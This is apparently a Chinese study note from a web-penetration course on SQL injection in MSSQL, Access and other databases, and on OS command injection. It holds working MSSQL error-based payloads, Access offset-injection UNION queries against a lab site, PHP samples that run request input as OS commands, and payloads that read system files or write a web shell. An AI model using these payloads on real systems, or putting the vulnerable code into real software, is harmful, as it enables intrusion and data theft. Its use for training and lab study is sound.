WEB漏洞—SQL注入之oracle,MongoDB等注入

WEB漏洞—SQL注入之oracle,MongoDB等注入

Snipaste_2022-04-26_20-21-03

除了access数据库之外,其他的数据库注入的思路都是大差不差

常见数据库有:Access、mssql、mongoDB、postgresql、sqlite、oracle、sybase等

首先是上节课的补充

Snipaste_2022-04-26_20-27-30

JSON在进行注入的时候的语法是如上图所示。

复习JSON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
JSON 语法规则
JSON 语法是 JavaScript 对象表示语法的子集。

数据在名称/值对中
数据由逗号分隔
大括号 {} 保存对象
中括号 [] 保存数组,数组可以包含多个对象
JSON 名称/值对
JSON 数据的书写格式是:

key : value
名称/值对包括字段名称(在双引号中),后面写一个冒号,然后是值:

"name" : "菜鸟教程"
这很容易理解,等价于这条 JavaScript 语句:

name = "菜鸟教程"
JSON 值
JSON 值可以是:

数字(整数或浮点数)
字符串(在双引号中)
逻辑值(truefalse
数组(在中括号中)
对象(在大括号中)
null
JSON 数字
JSON 数字可以是整型或者浮点型:

{ "age":30 }
JSON 对象
JSON 对象在大括号 {} 中书写:

{key1 : value1, key2 : value2, ... keyN : valueN }
对象可以包含多个名称/值对:

{ "name":"菜鸟教程" , "url":"www.runoob.com" }
这一点也容易理解,与这条 JavaScript 语句等价:

name = "菜鸟教程"
url = "www.runoob.com"

JSON 数组
JSON 数组在中括号 [] 中书写:

数组可包含多个对象:

[
{ key1 : value1-1 , key2:value1-2 },
{ key1 : value2-1 , key2:value2-2 },
{ key1 : value3-1 , key2:value3-2 },
...
{ key1 : valueN-1 , key2:valueN-2 },
]
{
"sites": [
{ "name":"菜鸟教程" , "url":"www.runoob.com" },
{ "name":"google" , "url":"www.google.com" },
{ "name":"微博" , "url":"www.weibo.com" }
]
}
在上面的例子中,对象 sites 是包含三个对象的数组。每个对象代表一条关于某个网站(name、url)的记录。

JSON 布尔值
JSON 布尔值可以是 true 或者 false

{ "flag":true }
JSON null
JSON 可以设置 null 值:

{ "runoob":null }
JSON 使用 JavaScript 语法
因为 JSON 使用 JavaScript 语法,所以无需额外的软件就能处理 JavaScript 中的 JSON。

通过 JavaScript,您可以创建一个对象数组,并像这样进行赋值:

实例
var sites = [
{ "name":"runoob" , "url":"www.runoob.com" },
{ "name":"google" , "url":"www.google.com" },
{ "name":"微博" , "url":"www.weibo.com" }
];
可以像这样访问 JavaScript 对象数组中的第一项(索引从 0 开始):

sites[0].name;
返回的内容是:

runoob
可以像这样修改数据:

sites[0].name="菜鸟教程";

access跟其他数据有一些区别,如下图所示,access数据库和其他类型的数据库,最大的区别就是access的每一个数据库都是独立存在的,那么也就是说就没有存在跨库注入这一说了,还有就说文件读写之类的操作,access都没有这个功能。所以自然就不能进行这类的操作

Snipaste_2022-04-27_20-39-46

墨者学院—-access手工注入演示

access跟其他数据库不一样的地方还有就是,之前说MySQL的时候说过,有一个information_schema,这个里面是所有数据库的名称信息。但是access不一样,他没有这个东西,所以我们在进行注入的时候只能靠猜!!!

1、猜字段order by 报错在5,所以是1,2,3,4,然后直接猜有admin这个表

Snipaste_2022-04-28_05-36-10

2、爆出2,3字段

Snipaste_2022-04-28_05-41-29

3、猜admin这个表下,有两个字段一个username和一个passwd

Snipaste_2022-04-28_05-42-26

墨者学院—这里由于我是二刷了,所以墨者学院那关打完了。网上随便找了一个

Snipaste_2022-04-28_05-53-32

可以看到这个是MySQL的,类型为字符型

然后再扫其他站点,你就会发现不一样,

Snipaste_2022-04-28_06-12-00

Snipaste_2022-04-28_06-12-46

注意看下面红色标识的,一个就只有四个选项,一个会有很多,这个就是数据库的类型不一样所带来的差异,但是大体上都是差不多的

后面的操作跟着小迪老师的操作就行。

msSQL的手工注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
payload:

?Id=admin' and 1=convert(int,(sql语句)) AND 'CvNI'='CvNI
基本信息获取
数据库信息获取
1=convert(int,(db_name())) #获取当前数据库名

1=convert(int,(@@version)) #获取数据库版本

1=convert(int,(select quotename(name) from master..sysdatabases FOR XML PATH(''))) #一次性获取全部数据库

1=convert(int,(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))) #一次性获取全部数据库
USER信息
and 1=(select IS_SRVROLEMEMBER('db_owner')) #查看是否为db_owner权限、sysadmin、public (未测试成功)如果正确则正常,否则报错

1=convert(int,(user)) #查看连接数据库的用户

admin' AND 1878=CONVERT(INT,(SELECT SUBSTRING((CASE WHEN(IS_SRVROLEMEMBER('db_owner')=1)THEN '1' ELSE '0' END),1,100))) AND 'iaQQ'='iaQQ #来自sqlmap 也为测试成功。

ps:未测试成功坑能是环境问题
获取表名
获取所有表名
1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('V_XG_BZKS_SHSJHD','HH_HeartHealthRefer_Web'))) #将报出来的表名填入 table_name not in的元组
获取指定数据库的表名
1=convert(int,(select top 1 quotename(name) from [数据库名]..sysobjects where name not in('table_name1','table_name2') and xtype='U') #逐条获取表名,将报出来的表名放入tuple

1=convert(int,(select quotename(name) from [数据库名]..sysobjects where xtype='U' FOR XML PATH(''))) #一次性获取表名,如果表很多的话会失败。

1=convert(int,(select top 1 table_name from information_schema.tables where table_catalog=[数据库名] and table_name not in('V_XG_BZKS_SHSJHD','HH_HeartHealthRefer_Web'))) #将报出来的表名填入 table_name not in的元组
获取列名
获取注入点的表中的列名
having 1=1 --
group by column_name1,column_name2 having 1=1--
获取任意表中的列名
1=convert(int,(select quotename(name) from [数据库名]..syscolumns where id =(select id from [数据库名]..sysobjects where name='table_name') FOR XML PATH(''))) #一次性列出该表所有的列名,列名比较少,建议用这个
爆数据
1=(select top 1 * from [数据库名]..[表名] FOR XML PATH(‘’))

穿山甲和burp的联动

Snipaste_2022-04-28_06-29-57

Snipaste_2022-04-28_06-30-13

Snipaste_2022-04-28_06-32-11

Snipaste_2022-04-28_06-33-10

可以看到我现在放一个包,对应的穿山甲就会扫描一次,那么此时我就可以学习一下穿山甲这个工具是如何注入的

PostgraSQL注入

1
2
3
4
https://xz.aliyun.com/t/8621
https://www.jianshu.com/p/ba0297da2c2e
https://www.cnblogs.com/yilishazi/p/14710349.html
https://www.freebuf.com/articles/web/249371.html

Oracle注入

1
2
3
4
https://www.cnblogs.com/peterpan0707007/p/8242119.html
https://xz.aliyun.com/t/7897
https://y4er.com/post/oracle-sql-inject/
https://www.chabug.org/web/1827.html

MongoDB注入

1
2
3
https://blog.szfszf.top/article/27/
https://www.tr0y.wang/2019/04/21/MongoDB%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/
https://www.anquanke.com/post/id/254170

SQLmap使用

1
2
3
https://gitbook.cn/books/5ba8393639ea516190a9b8f8/index.html
https://www.freebuf.com/sectool/164608.html
https://blog.51cto.com/u_15127606/4347777

涉及资源

https://www.cnblogs.com/xishaonian/p/6173644.html

https://www.cnblogs.com/bmjoker/p/9326258.html

https://github.com/youngyangyang04/NoSQLAttack

https://github.com/sqlmapproject/sqlmap

https://blog.csdn.net/qq_39936434/category_9103379.html

https://blog.csdn.net/hack8/article/details/6427911

5679855646

扩展知识点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
在 MySQL 的配置文件 my.ini 或者 my.cnf 文件中

1、basedir 参数
该参数指定了安装 MySQL 的安装路径,填写全路径可以解决相对路径所造成的问题。

例如:

basedir="E:/dev/MySQL/MySQL Server 5.2/"

则表示我的 MySQL 安装在 E:/dev/MySQL/MySQL Server 5.2/ 路径下。

2、datadir 参数
该参数指定了 MySQL 的数据库文件放在什么路径下。数据库文件即我们常说的 MySQL data 文件。

例如:

datadir="E:/dev/MySQL/MySQL Server 5.2/Data/"

则表示我的 MySQL 数据库文件放在 E:/dev/MySQL/MySQL Server 5.2/Data/ 路径下。

OS注入(链接:https://blog.csdn.net/qq_41901122/article/details/104232891)

第一章 原理以及成因
1
2
3
4
程序员使用脚本语言(比如PHP )开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件)。当应用需要调用一些外部程序时就会用到一些系统命令的函数。
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞 。
1. 用户输入作为拼接
2. 没有足够的过滤
第二章·漏洞危害
1
2
3
4
5
1. 继承Web 服务器程序权限(Web 用户权限),去执行系统命令
2. 继承Web 服务器权限,读写文件
3. 反弹Shell
4. 控制整个网站
5. 控制整个服务器
第三章 相关函数
第一节 system()

system() 能够将字符串作为OS 命令执行,自带输出功能。测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
----system.php
<meta charset='gb2312'>
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
}else{
echo"
?cmd=ipconfig
";
}
?>
----
第二节 exec()

exec() 函数能将字符串作为OS 命令执行,需要输出执行结果。测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
----exec.php
<meta charset="gb2312">
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
print exec($_GET['cmd']);
}else{
echo"
?cmd=whoami
";
}
?>
----
第三节 shell_exec()
1
2
3
4
5
6
7
8
9
----shell_exec.php
<?php
if(isset($_GET['cmd'])){
print shell_exec($_GET['cmd']);
}else{
echo"?cmd=whoami";
}
?>
----
第四节 passthru()
1
2
3
4
5
6
7
8
9
----passthru.php
<?php
if(isset($_GET['cmd'])){
passthru($_GET['cmd']);
}else{
echo"?cmd=whoami";
}
?>
----
第五节 popen()

popen() 也能够执行OS 命令,但是该函数并回是返回命令结果,而是返回一个文件指针。无论返回什么,我们关心的是命令执行了。 测试代码如下

1
2
3
4
5
6
7
8
9
10
11
----popen.php
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'].">> 1.txt";
popen($cmd,'r');
}else{
echo"?cmd=whoami";
}
?>
----
查看1.txt 文件
第六节 反引号

反引号[``] 内的字符串,也会被解析成OS 命令。 测试代码如下

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `$cmd`;
}else{
echo"?cmd=whoami";
}
?>
第四章 漏洞利用

OS 命令注入漏洞,攻击者直接继承Web 用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows 系统下测试成功。

第一节 查看系统文件
1
提交参数[?cmd=type c:\windows\system32\drivers\etc\hosts],查看系统hosts 文件。
第二节 显示当前路径
1
提交参数[?cmd=cd]
第三节写文件
1
2
3
提交参数[?cmd=echo "<?php phpinfo();?>" > C:\phpStudy\WWW\Commmandi\shell.php]

页面没有报错,说明文件写入成功。访问shell.php 文件。
第五章 防御方法
1
2
3
1. 尽量减少命令执行函数的使用,并在disable_functions 中禁用
2. 在进入命令执行的函数或方法之前,对参数进行过滤
3. 参数的值尽量使用引号包裹,并在拼接前调用addslashes 进行转义
第六章 DVWA

第一节 low命令注入

1
2
3
4
5
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.1&&whoami
127.0.0.1;whoami
127.0.0.0.1||whoami

第二节 medium命令注入

1
2
3
4
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.0.1||whoami
127.0.0.1&&&&whoami

补充:Access偏移注入

  • 偏移注入的适用背景:

    • access数据库与mysql不同,access数据库没有类似于mysql的information_schema这样的系统数据库,所以对于access的表名及其字段名我们只能靠经验进行猜解,而偏移注入就是提供了另外一种思路:
    • 在我们只能猜解出表名,而猜解不出我们所想要的字段名的情况下,直接爆最后的字段数据。
  • 偏移注入的原理

    (这里只是粗略的概述,详细请看下面):

    • 就是将目标表进行(多级)内连接,通过联合查询和已知目标字段名的微调,将我们想要知道的字段值在已经确定的显示位上暴露出来。
  • 影响偏移注入成功率的因素(当然这些因素都是影响因素,不是决定因素):

    1. 联合查询中显示位的位置
    2. 当前注入点所查询的字段数量
    3. 目标表的字段数量
    4. 我们可以猜解到的目标表的字段名的数量

这个是本地搭建的网站

Snipaste_2022-05-24_19-38-19

这个是注入点:http://192.168.88.154/Production/PRODUCT_DETAIL.asp?id=1513

Snipaste_2022-05-24_19-39-05

这里order by判断出字段数是22

Snipaste_2022-05-24_19-41-10

Snipaste_2022-05-24_19-41-41

Snipaste_2022-05-24_19-42-05

然后报错猜解

1
http://192.168.88.154/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

Snipaste_2022-05-24_19-43-14

利用 * 代替admin表内,存在的字段,从后往前进行偏移,直到页面正常返回

Snipaste_2022-05-24_19-45-10

一共偏移了6次。

偏移注入通用公式:order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍的偏移量。

即22-2x6=10。

对该表进行自连接。

1
http://192.168.88.154/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)

Snipaste_2022-05-24_19-46-54

查看页面源码获取到了账号:

Snipaste_2022-05-24_19-47-01

这时候已经得到了密码,却没有账号怎么办,我们只需要把它打乱就可以,这样信息重组,很有可能会把管理员账号给爆出来。在字段后面插个a.id,b.id,

1
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin b on a.id=b.id)

Snipaste_2022-05-24_19-54-55

或者只加a.id也可以打乱信息组合,

1
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin b on a.id=b.id)

Snipaste_2022-05-24_19-54-23

注意:获取到什么数据完全靠运气。

获取其他数据,进行二级偏移。

再取6个字段。

1
http://192.168.88.154/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

Snipaste_2022-05-24_19-55-38